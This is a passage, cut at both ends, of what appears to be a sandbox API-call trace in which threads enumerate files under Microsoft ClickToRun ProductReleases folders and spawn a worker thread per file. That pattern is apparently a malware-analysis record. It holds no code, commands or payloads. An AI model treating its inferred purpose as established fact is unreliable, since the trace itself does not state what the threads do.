Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\" [0176.479] wcscat (in: _Dest=0x2ff0cb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*" [0176.479] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023cc8 [0176.479] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*", lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fe60 [0176.482] wcscmp (_String1=".", _String2=".") returned 0 [0176.482] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.482] wcscmp (_String1="..", _String2=".") returned 1 [0176.482] wcscmp (_String1="..", _String2="..") returned 0 [0176.482] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0176.482] wcscmp (_String1="stream.x86.en-us.man.dat", _String2=".") returned 1 [0176.482] wcscmp (_String1="stream.x86.en-us.man.dat", _String2="..") returned 1 [0176.482] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfe) returned 0x2f6cc48 [0176.482] wcscpy (in: _Dest=0x2f6cc48, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" [0176.482] wcscat (in: _Dest=0x2f6cc48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\" [0176.482] wcscat (in: _Dest=0x2f6cc48, _Source="stream.x86.en-us.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" [0176.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cc48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0176.640] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x3023cc8 | out: lpFindFileData=0x3023cc8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0176.640] FindClose (in: hFindFile=0x2f7fe60 | out: hFindFile=0x2f7fe60) returned 1 [0176.641] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023cc8) returned 1 [0176.641] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0cb0) returned 1 [0176.641] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff16d0) returned 1 [0176.641] RtlExitUserThread (Status=0x0) Thread: id = 2536 os_tid = 0x1178 [0176.482] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97138 [0176.482] wcscpy (in: _Dest=0x2f97138, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" [0176.482] wcscat (in: _Dest=0x2f97138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\" [0176.482] wcscat (in: _Dest=0x2f97138, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*" [0176.482] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30200a0 [0176.483] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*", lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80120 [0176.484] wcscmp (_String1=".", _String2=".") returned 0 [0176.484] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.484] wcscmp (_String1="..", _String2=".") returned 1 [0176.484] wcscmp (_String1="..", _String2="..") returned 0 [0176.484] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0176.484] wcscmp (_String1="stream.x86.x-none.man.dat", _String2=".") returned 1 [0176.484] wcscmp (_String1="stream.x86.x-none.man.dat", _String2="..") returned 1 [0176.484] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x102) returned 0x305d098 [0176.484] wcscpy (in: _Dest=0x305d098, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" [0176.484] wcscat (in: _Dest=0x305d098, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\" [0176.484] wcscat (in: _Dest=0x305d098, _Source="stream.x86.x-none.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" [0176.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0176.638] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0176.638] FindClose (in: hFindFile=0x2f80120 | out: hFindFile=0x2f80120) returned 1 [0176.639] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30200a0) returned 1 [0176.639] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97138) returned 1 [0176.639] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0e60) returned 1 [0176.639] RtlExitUserThread (Status=0x0) Thread: id = 2537 os_tid = 0x117c [0176.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd0) returned 0x2ff0d88 [0176.485] wcscpy (in: _Dest=0x2ff0d88, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0176.485] wcscat (in: _Dest=0x2ff0d88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\" [0176.485] wcscat (in: _Dest=0x2ff0d88, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*" [0176.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fee6d0 [0176.485] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*", lpFindFileData=0x2fee6d0 | out: lpFindFileData=0x2fee6d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fb20 [0176.488] wcscmp (_String1=".", _String2=".") returned 0 [0176.488] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2fee6d0 | out: lpFindFileData=0x2fee6d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.488] wcscmp (_String1="..", _String2=".") returned 1 [0176.488] wcscmp (_String1="..", _String2="..") returned 0 [0176.488] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2fee6d0 | out: lpFindFileData=0x2fee6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a346f8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a346f8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd19cd600, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5bec, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0176.488] wcscmp (_String1="MasterDescriptor.en-us.xml", _String2=".") returned 1 [0176.488] wcscmp (_String1="MasterDescriptor.en-us.xml", _String2="..") returned 1 [0176.488] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x102) returned 0x305d2c8 [0176.488] wcscpy (in: _Dest=0x305d2c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0176.488] wcscat (in: _Dest=0x305d2c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\" [0176.488] wcscat (in: _Dest=0x305d2c8, _Source="MasterDescriptor.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" [0176.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0176.631] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2fee6d0 | out: lpFindFileData=0x2fee6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0176.631] wcscmp (_String1="s321033.hash", _String2=".") returned 1 [0176.631] wcscmp (_String1="s321033.hash", _String2="..") returned 1 [0176.631] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4df0 [0176.631] wcscpy (in: _Dest=0x2fc4df0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0176.631] wcscat (in: _Dest=0x2fc4df0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\" [0176.631] wcscat (in: _Dest=0x2fc4df0, _Source="s321033.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\s321033.hash" [0176.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc4df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844 [0176.631] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2fee6d0 | out: lpFindFileData=0x2fee6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x1dff67, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.Culture.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1 [0176.631] wcscmp (_String1="stream.Platform.Culture.man.xml", _String2=".") returned 1 [0176.631] wcscmp (_String1="stream.Platform.Culture.man.xml", _String2="..") returned 1 [0176.631] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305c6c0 [0176.632] wcscpy (in: _Dest=0x305c6c0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0176.632] wcscat (in: _Dest=0x305c6c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\" [0176.632] wcscat (in: _Dest=0x305c6c0, _Source="stream.Platform.Culture.man.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.Platform.Culture.man.xml" [0176.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305c6c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8 [0176.632] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2fee6d0 | out: lpFindFileData=0x2fee6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.hash", cAlternateFileName="STREAM~1.HAS")) returned 1 [0176.632] wcscmp (_String1="stream.x86.en-us.hash", _String2=".") returned 1 [0176.632] wcscmp (_String1="stream.x86.en-us.hash", _String2="..") returned 1 [0176.632] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f85418 [0176.632] wcscpy (in: _Dest=0x2f85418, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0176.632] wcscat (in: _Dest=0x2f85418, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\" [0176.633] wcscat (in: _Dest=0x2f85418, _Source="stream.x86.en-us.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.hash" [0176.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f85418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0176.633] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2fee6d0 | out: lpFindFileData=0x2fee6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0176.633] wcscmp (_String1="stream.x86.en-us.man.dat", _String2=".") returned 1 [0176.633] wcscmp (_String1="stream.x86.en-us.man.dat", _String2="..") returned 1 [0176.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfe) returned 0x2f6d698 [0176.633] wcscpy (in: _Dest=0x2f6d698, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16" [0176.633] wcscat (in: _Dest=0x2f6d698, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\" [0176.633] wcscat (in: _Dest=0x2f6d698, _Source="stream.x86.en-us.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" [0176.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0176.634] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2fee6d0 | out: lpFindFileData=0x2fee6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0176.634] FindClose (in: hFindFile=0x2f7fb20 | out: hFindFile=0x2f7fb20) returned 1 [0176.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee6d0) returned 1 [0176.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0d88) returned 1 [0176.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff15f8) returned 1 [0176.635] RtlExitUserThread (Status=0x0) Thread: id = 2538 os_tid = 0x1188 [0176.488] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97bb8 [0176.488] wcscpy (in: _Dest=0x2f97bb8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: _Dest="C:\\Users\\All 